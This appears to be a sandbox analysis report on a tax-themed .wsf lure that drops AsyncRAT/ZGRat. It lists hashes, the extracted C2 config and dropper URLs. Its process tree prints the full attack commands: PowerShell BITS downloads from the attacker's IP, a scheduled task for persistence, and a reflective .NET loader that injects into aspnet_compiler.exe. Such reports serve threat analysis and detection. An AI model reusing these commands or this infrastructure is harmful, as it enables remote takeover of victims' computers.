Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2024, 21:29

General

  • Target

    2O22-Tax-Returns.wsf

  • Size

    22KB

  • MD5

    98ee1c0d924160400ecef6a607233e71

  • SHA1

    bf458f68d2080dfc3b3ab557c422e003f83a80e8

  • SHA256

    31474cb3c6ed64770b4930d9d0ba11edc9ba03b7c09d9a3798eb8b77a81ca50a

  • SHA512

    81e77e30dcd15edf8089eb4299c4e01914a889b90eb46ba99c90087e043832e0a6caaf7fcebd51905e31f14cdab5c042bb43de9d35078c92155197a84e370be7

  • SSDEEP

    384:eE3AcRO1fDgpRyeBNhQz0yFvYN5E3AcRO1fDgpRyeBNhQz0yFvYN/:x3bObgDyeHk0yFvYY3bObgDyeHk0yFvg

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.107.185.29:666/Rar.jpg

exe.dropper

http://176.107.185.29:666/load.rar

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://nodejs.org/download/release/v6.17.1/win-x64/node.exe

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

Default

C2

win0090.theworkpc.com:5010

win0090.theworkpc.com:6606

Mutex

AsyncMutex_alo8h

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2O22-Tax-Returns.wsf"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1056
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:980
      • C:\Users\Public\Rar.exe
        Rar.exe x -p111 load.rar
        3⤵
          PID:3208
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\basta.js"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3684
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\node.bat" C:\Users\Public\"
          3⤵
          • Checks computer location settings
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:1984
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            PowerShell -Command "Start-BitsTransfer -Source 'https://nodejs.org/download/release/v6.17.1/win-x64/node.exe' -Destination 'C:\Users\Public\node.exe'"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            PowerShell -Command "$tr = New-Object -ComObject Schedule.Service; $tr.Connect(); $ta = $tr.NewTask(0); $ta.RegistrationInfo.Description = 'Runs a script every 2 minutes'; $ta.Settings.Enabled = $true; $ta.Settings.DisallowStartIfOnBatteries = $false; $st = $ta.Triggers.Create(1); $st.StartBoundary = [DateTime]::Now.ToString('yyyy-MM-ddTHH:mm:ss'); $st.Repetition.Interval = 'PT2M'; $md = $ta.Actions.Create(0); $md.Path = 'C:\\Users\\Public\\app.js'; $ns = $tr.GetFolder('\'); $ns.RegisterTaskDefinition('BTime', $ta, 6, $null, $null, 3);"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:952
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\app.js"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:3224
            • C:\Users\Public\node.exe
              "C:\Users\Public\node.exe" C:\Users\Public\run.js
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2232
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /s /c "powershell.exe -Command "Function FH([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());};function fromHex { param([string] $str)$hex = $str.Split(' '); $result = New-Object 'byte[]' ($hex.Count / 2);$count = 0; for ($i = 0; $i -lt $hex.Count - 1; $i += 2){ $result[$count] = [byte]($hex[$i]); $count++;}return $result };$msg = (Get-Content -Path 'C:\Users\Public\msg.txt');$runpe = (Get-Content -Path 'C:\Users\Public\runpe.txt');$result = fromHex $msg;$runpeD = fromHex $runpe;$new = (Get-Content -Path 'C:\Users\Public\NewPE2.txt');$Execute = (Get-Content -Path 'C:\Users\Public\Execute.txt');$Invoke = (Get-Content -Path 'C:\Users\Public\Invoke.txt');$Framework = FH(Get-Content -Path 'C:\Users\Public\Framework.txt');$load = (Get-Content -Path 'C:\Users\Public\load.txt');$ype = (Get-Content -Path 'C:\Users\Public\Gettype.txt');$getM = (Get-Content -Path 'C:\Users\Public\getMethod.txt');[Reflection.Assembly]::$load([Byte[]]$runpeD).$ype($new).$getM($Execute).$Invoke($null,[Object[]]($Framework,$null,[Byte[]]$result,$true)); Stop-Process -Name 'node'""
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1468
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -Command "Function FH([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());};function fromHex { param([string] $str)$hex = $str.Split(' '); $result = New-Object 'byte[]' ($hex.Count / 2);$count = 0; for ($i = 0; $i -lt $hex.Count - 1; $i += 2){ $result[$count] = [byte]($hex[$i]); $count++;}return $result };$msg = (Get-Content -Path 'C:\Users\Public\msg.txt');$runpe = (Get-Content -Path 'C:\Users\Public\runpe.txt');$result = fromHex $msg;$runpeD = fromHex $runpe;$new = (Get-Content -Path 'C:\Users\Public\NewPE2.txt');$Execute = (Get-Content -Path 'C:\Users\Public\Execute.txt');$Invoke = (Get-Content -Path 'C:\Users\Public\Invoke.txt');$Framework = FH(Get-Content -Path 'C:\Users\Public\Framework.txt');$load = (Get-Content -Path 'C:\Users\Public\load.txt');$ype = (Get-Content -Path 'C:\Users\Public\Gettype.txt');$getM = (Get-Content -Path 'C:\Users\Public\getMethod.txt');[Reflection.Assembly]::$load([Byte[]]$runpeD).$ype($new).$getM($Execute).$Invoke($null,[Object[]]($Framework,$null,[Byte[]]$result,$true)); Stop-Process -Name 'node'"
                  7⤵
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2772
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                    8⤵
                      PID:1668
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:480
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\\Users\\Public\\app.js"
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4136
        • C:\Users\Public\node.exe
          "C:\Users\Public\node.exe" C:\Users\Public\run.js
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3524
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /s /c "powershell.exe -Command "Function FH([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());};function fromHex { param([string] $str)$hex = $str.Split(' '); $result = New-Object 'byte[]' ($hex.Count / 2);$count = 0; for ($i = 0; $i -lt $hex.Count - 1; $i += 2){ $result[$count] = [byte]($hex[$i]); $count++;}return $result };$msg = (Get-Content -Path 'C:\Users\Public\msg.txt');$runpe = (Get-Content -Path 'C:\Users\Public\runpe.txt');$result = fromHex $msg;$runpeD = fromHex $runpe;$new = (Get-Content -Path 'C:\Users\Public\NewPE2.txt');$Execute = (Get-Content -Path 'C:\Users\Public\Execute.txt');$Invoke = (Get-Content -Path 'C:\Users\Public\Invoke.txt');$Framework = FH(Get-Content -Path 'C:\Users\Public\Framework.txt');$load = (Get-Content -Path 'C:\Users\Public\load.txt');$ype = (Get-Content -Path 'C:\Users\Public\Gettype.txt');$getM = (Get-Content -Path 'C:\Users\Public\getMethod.txt');[Reflection.Assembly]::$load([Byte[]]$runpeD).$ype($new).$getM($Execute).$Invoke($null,[Object[]]($Framework,$null,[Byte[]]$result,$true)); Stop-Process -Name 'node'""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4484
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -Command "Function FH([String] $Jxxxe) {$JS = [System.Collections.Generic.List[Byte]]::new();for ($i = 0; $i -lt $Jxxxe.Length; $i +=8) {$JS.Add([Convert]::ToByte($Jxxxe.Substring($i, 8), 2));}return [System.Text.Encoding]::ASCII.GetString($JS.ToArray());};function fromHex { param([string] $str)$hex = $str.Split(' '); $result = New-Object 'byte[]' ($hex.Count / 2);$count = 0; for ($i = 0; $i -lt $hex.Count - 1; $i += 2){ $result[$count] = [byte]($hex[$i]); $count++;}return $result };$msg = (Get-Content -Path 'C:\Users\Public\msg.txt');$runpe = (Get-Content -Path 'C:\Users\Public\runpe.txt');$result = fromHex $msg;$runpeD = fromHex $runpe;$new = (Get-Content -Path 'C:\Users\Public\NewPE2.txt');$Execute = (Get-Content -Path 'C:\Users\Public\Execute.txt');$Invoke = (Get-Content -Path 'C:\Users\Public\Invoke.txt');$Framework = FH(Get-Content -Path 'C:\Users\Public\Framework.txt');$load = (Get-Content -Path 'C:\Users\Public\load.txt');$ype = (Get-Content -Path 'C:\Users\Public\Gettype.txt');$getM = (Get-Content -Path 'C:\Users\Public\getMethod.txt');[Reflection.Assembly]::$load([Byte[]]$runpeD).$ype($new).$getM($Execute).$Invoke($null,[Object[]]($Framework,$null,[Byte[]]$result,$true)); Stop-Process -Name 'node'"
              4⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2772
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                5⤵
                  PID:3156
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                  5⤵
                    PID:4960

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                  Filesize

                  3KB

                  MD5

                  61e2e57471d559f5f6813c0a7995c075

                  SHA1

                  33c621541bc0892ddab1b65345a348c14af566e5

                  SHA256

                  c1acff9ad0b9cbb4f83f7953ec66d2ac7c37a6fa4a1474430fc1b04ad049231d

                  SHA512

                  9fb42b4b261b4114d113b7ea96ef33a0bade598332361499b97e5b92b72895f287f753d62d26ad86573ab9f56f1b052d2d4c61a4ccf287ef7d8e1c9363353a5c

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  abf9290793799558a17b4643d3114d6a

                  SHA1

                  ad1cfae3a1fd1aae092cf3401abb0ba7c01de566

                  SHA256

                  079ab91d9e2efefd728a33fe628723b322f3a107971426e77ff8ac2ea4a25239

                  SHA512

                  3667037a1ac952a77bdea0587dc0b61ac598c351006be1c1e27d049be89f73d654150a5ab1f6aa76973d2c994e937e2990ffbad26f8e9f976262165523588ea5

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  925fe1c1bdc356a1bd515e00e0a0bc92

                  SHA1

                  82a4be87b3ee4159bf94826abc30dca694709066

                  SHA256

                  169b3424a0d021a30db7bb0e5c805c076f5c5b902b2bc90394a31999bc28ee36

                  SHA512

                  d4e1ab6d5649e384778deee664872e6ba2f52c5e06c4e7526cdceee8415b339377df4a71099458b270da8a217648665873e6a0176e75cedb30513158197177e5

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  791b8919ee1945aee3ab0ecc7bac2a69

                  SHA1

                  42be67583f1a30f60bedba70b5829343e633c091

                  SHA256

                  46c98d0027f2503be59804146cb2265a2299e8e83afafabfaca5c45eec6e16fb

                  SHA512

                  caa2c1d16d2359c0ff643aa18d4dbe5653b040b7d56e9afa43734408934b2357d699827ffbb4b8bd0b6a057915ebe911ea42970cbecdd0ecb4c1455bff1ed823

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldeenixo.bjp.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Public\Execute.txt

                  Filesize

                  7B

                  MD5

                  40cd014b7b6251e3a22e6a45a73a64e1

                  SHA1

                  6ea36ce8d4940505e9a2c8fea5db868cd8b3d440

                  SHA256

                  e3a67d9540e9a204f7dc4aa9d44a0ec652856cfa932a21196bf9df23aa0e4cd1

                  SHA512

                  776d4496cc76782961d66f235ff257567e12e85b950101247fb29de911a4e44048398932f2881b5610cbad6c90fe1c4e99f346cc7d315d7b9a612c89b19b42ea

                • C:\Users\Public\Framework.txt

                  Filesize

                  520B

                  MD5

                  6a08392ecf95df7fc91917dcfaae8da6

                  SHA1

                  480f6a5c761e1a069c0d68f5ac2aabf727791393

                  SHA256

                  0a572ee5508d9310936801a04237d56f118dff4dbaa98f60070988cc4b8ca460

                  SHA512

                  d70c436183a9c6f6d4ce9296dce846f94cd12d7fbb76b24e59d88a77349a95a7a0d6ad8f9f4ffc32a98618b3250e0d35e4cf9ff1e711f4e63ffee425597dfc5e

                • C:\Users\Public\Gettype.txt

                  Filesize

                  7B

                  MD5

                  9221b7b54ed96de7281d31f8ae35be6a

                  SHA1

                  223fad426aa8c753546501b0643ee1720b57bff0

                  SHA256

                  8eab5c7c6d1116d28014f0da7b7e78b9857da1e6f951b903f2a714fc6d3c790a

                  SHA512

                  be37de186628a2c30698a6d4826ec5f8845e7b69317b2f044e86fae615c263a5fd179fcbc50821c85b49c9e3e71adb10a947060312da281418c8ca231d656d5d

                • C:\Users\Public\Invoke.txt

                  Filesize

                  6B

                  MD5

                  5fb833d20ef9f93596f4117a81523536

                  SHA1

                  d6aa1f3a789f3f3108666e0ac807ca5ca7dc5fa5

                  SHA256

                  e77f5b9f691679ef6fa67d3ec953199b1696cf6a0e77741c035f11aadfd9bf73

                  SHA512

                  afaec35da2440502779227d9436570db82e1f5d86c90662eae82564d717407518d4e1181e024566e2d8d6029bd4e738b9ba4a3108753a8d0d0c98934db94ba35

                • C:\Users\Public\NewPE2.txt

                  Filesize

                  9B

                  MD5

                  8a56a0e23dbfe7a50c5ec927b73ec5f2

                  SHA1

                  abebd513e68e63e7ec6ae56327c232b6e444ce0a

                  SHA256

                  3b348b38ac24e5e26423cc6d46936e7a4fdedda9d4aa89fdb2cfde4fad662cc1

                  SHA512

                  276fc17efa7fef658167a94f22c76ae2abb6768d40702a39f970f196099058139249b8e12f18569f7f42f03f581f2543e49f39ab41553dd38d85511558a77ed2

                • C:\Users\Public\app.js

                  Filesize

                  385B

                  MD5

                  08a7e6db996774b6806c395c04116803

                  SHA1

                  d0182c34dacc8ab9c8841c8913a1ae7f4d281595

                  SHA256

                  9268b265b1de1e39454bc0276b85e56e3e1763526a972bfc60a3bbb533192bdc

                  SHA512

                  d3191ac299738e2b01edda769da6462df9f292bfe033cc26aeb317d47e04948d56e52eeef19c1d82c31e8f213c7547504e42f354c4c417b9e17aec7c6154e43b

                • C:\Users\Public\basta.js

                  Filesize

                  346B

                  MD5

                  acc80e9a87c6fa26564d11ba56eb1529

                  SHA1

                  bc7fd2c2afae4511618c540a827cd3263e4df4fb

                  SHA256

                  f9f6b12f1afd646a4822f11eb2c84533c4afab06162c84dd184b20eae3f40ebe

                  SHA512

                  caa4b016b9062a1b39d5e4981aa6104f1a10f3d0a855b83d2f6d6f49d1aa05f4e63b4f81ee3b7fb1009cb003478834e014d8807fa793820535c3cce03bfb6500

                • C:\Users\Public\getMethod.txt

                  Filesize

                  9B

                  MD5

                  db37f91f128a82062af0f39f649ea122

                  SHA1

                  f21110ae7ac7cde74e7aa59b22ed10bace35b06b

                  SHA256

                  e53ba77fa1dbcb1cc3beed1344f6ae7b182d6a2e2a09bb32ec0d4474978e4a32

                  SHA512

                  681c5c69acba8c2b327afd0bcb1062fb5f6ee3231e6b95f4cd97ecd768879250eb81d36b1e1640554a85002a7b2b099acfe7f59f70884f10afd51d372583d3ae

                • C:\Users\Public\load.txt

                  Filesize

                  4B

                  MD5

                  ec4d1eb36b22d19728e9d1d23ca84d1c

                  SHA1

                  5dbc716c4600097b85b9e51d6aeb77a4363b03ed

                  SHA256

                  0cf67fc72b3c86c7a454f6d86b43ed245a8e491d0e5288d4da8c7ff43a7bcdb0

                  SHA512

                  d67f0ffb682d7a13510ec5d3e643889d43bc7593429f806fd882b2c72c05a530c2462d332d4293015f33397cdec84c53d1eea58a7bebaab5504153729df02700

                • C:\Users\Public\msg.txt

                  Filesize

                  804KB

                  MD5

                  57ece7de9ff20214d5949a1a31114d06

                  SHA1

                  046a95241bbd0dd825dd8738e5c6ccf5f887ba19

                  SHA256

                  c0f52718e1f62533b1e9fb6b4635f59023abe58ede410de7481cd4be6c20eb0f

                  SHA512

                  32004c2e1c748e1e46aa8da74634fe9510ee9d93a3a3d46bb65c9d8444579429706099e6ea42f8a95f9841652f850ecade0d8c3c9324057822b246793f300f6c

                • C:\Users\Public\node.bat

                  Filesize

                  3KB

                  MD5

                  15333bb0cc252086e87ad2aea347d684

                  SHA1

                  303efa040dd58b5d27bd884bab31cabcd7030315

                  SHA256

                  7db89368b3daa954c91364203c177d469fbc56d09b69acf71116b3f0eeffd657

                  SHA512

                  d7308fbeacbf4a1c807850aa19c888a79feeed023fcfa872751d7bc60ab8afb7d631bbb5d3819da3b5882ed642a30604451d9eed62927b87fb813c27c12a24db

                • C:\Users\Public\run.js

                  Filesize

                  1KB

                  MD5

                  ea7771c6e2cd4c1e9b1f00f233764a8c

                  SHA1

                  69fc45ead32fe3749e6b1e2a6eaf6ade10e0379d

                  SHA256

                  f2065f51a038146796411358d464c9e0a4ec2c5ba89d1157c588ac2175cb1122

                  SHA512

                  32c88a76ce6cbaa15531138209a8b644f297264a0b7e3f79a2a0ae88e93793ba88eb95fc7e8cd52b884afa426a93ada3682425afba93098114622aa22d5b1ba1

                • C:\Users\Public\runpe.txt

                  Filesize

                  3.8MB

                  MD5

                  5484b3b6ed63609cb1123976a3394c9a

                  SHA1

                  9535add105a42a49171c0973a1f9c55a872fc0b5

                  SHA256

                  7b841fe29eab8eee796195c2b269acf517c57dd1fd9ebb565c1266497a7b1fb9

                  SHA512

                  0a7973485f58a8d700c01c72dba3f976a02af6f4da97d2109df64168b0dd926024eaf60d740c67707a3b13d115c14cfaaa876242ad42cd012c74a9069ad92453

                • memory/208-67-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/208-65-0x000001D575760000-0x000001D575786000-memory.dmp

                  Filesize

                  152KB

                • memory/208-63-0x000001D5734A0000-0x000001D5734B0000-memory.dmp

                  Filesize

                  64KB

                • memory/208-62-0x000001D5734A0000-0x000001D5734B0000-memory.dmp

                  Filesize

                  64KB

                • memory/208-61-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/480-114-0x0000000005490000-0x00000000054A0000-memory.dmp

                  Filesize

                  64KB

                • memory/480-117-0x0000000005A60000-0x0000000005A6A000-memory.dmp

                  Filesize

                  40KB

                • memory/480-123-0x0000000005490000-0x00000000054A0000-memory.dmp

                  Filesize

                  64KB

                • memory/480-122-0x0000000075030000-0x00000000757E0000-memory.dmp

                  Filesize

                  7.7MB

                • memory/480-121-0x0000000006840000-0x00000000068A6000-memory.dmp

                  Filesize

                  408KB

                • memory/480-120-0x0000000006A40000-0x0000000006ADC000-memory.dmp

                  Filesize

                  624KB

                • memory/480-113-0x0000000075030000-0x00000000757E0000-memory.dmp

                  Filesize

                  7.7MB

                • memory/480-115-0x0000000005E50000-0x00000000063F4000-memory.dmp

                  Filesize

                  5.6MB

                • memory/480-116-0x0000000005A80000-0x0000000005B12000-memory.dmp

                  Filesize

                  584KB

                • memory/480-110-0x0000000000400000-0x0000000000416000-memory.dmp

                  Filesize

                  88KB

                • memory/952-82-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/952-68-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/952-69-0x0000020F89D10000-0x0000020F89D20000-memory.dmp

                  Filesize

                  64KB

                • memory/952-70-0x0000020F89D10000-0x0000020F89D20000-memory.dmp

                  Filesize

                  64KB

                • memory/1056-20-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/1056-16-0x0000023F73F60000-0x0000023F73F86000-memory.dmp

                  Filesize

                  152KB

                • memory/1056-13-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/1056-17-0x0000023F73FB0000-0x0000023F73FC4000-memory.dmp

                  Filesize

                  80KB

                • memory/1056-15-0x0000023F71CE0000-0x0000023F71CF0000-memory.dmp

                  Filesize

                  64KB

                • memory/1056-3-0x0000023F73DD0000-0x0000023F73DF2000-memory.dmp

                  Filesize

                  136KB

                • memory/1056-14-0x0000023F71CE0000-0x0000023F71CF0000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-97-0x000001BDC5DA0000-0x000001BDC5DB0000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-125-0x0000019672180000-0x0000019672190000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-98-0x000001BDC5DA0000-0x000001BDC5DB0000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-99-0x000001BDC5DA0000-0x000001BDC5DB0000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-109-0x000001BDC80E0000-0x000001BDC8132000-memory.dmp

                  Filesize

                  328KB

                • memory/2772-96-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2772-124-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2772-112-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2772-126-0x0000019672180000-0x0000019672190000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-137-0x0000019672180000-0x0000019672190000-memory.dmp

                  Filesize

                  64KB

                • memory/2772-142-0x00007FFB516C0000-0x00007FFB52181000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4960-139-0x0000000075030000-0x00000000757E0000-memory.dmp

                  Filesize

                  7.7MB

                • memory/4960-143-0x0000000005100000-0x0000000005110000-memory.dmp

                  Filesize

                  64KB

                • memory/4960-145-0x0000000075030000-0x00000000757E0000-memory.dmp

                  Filesize

                  7.7MB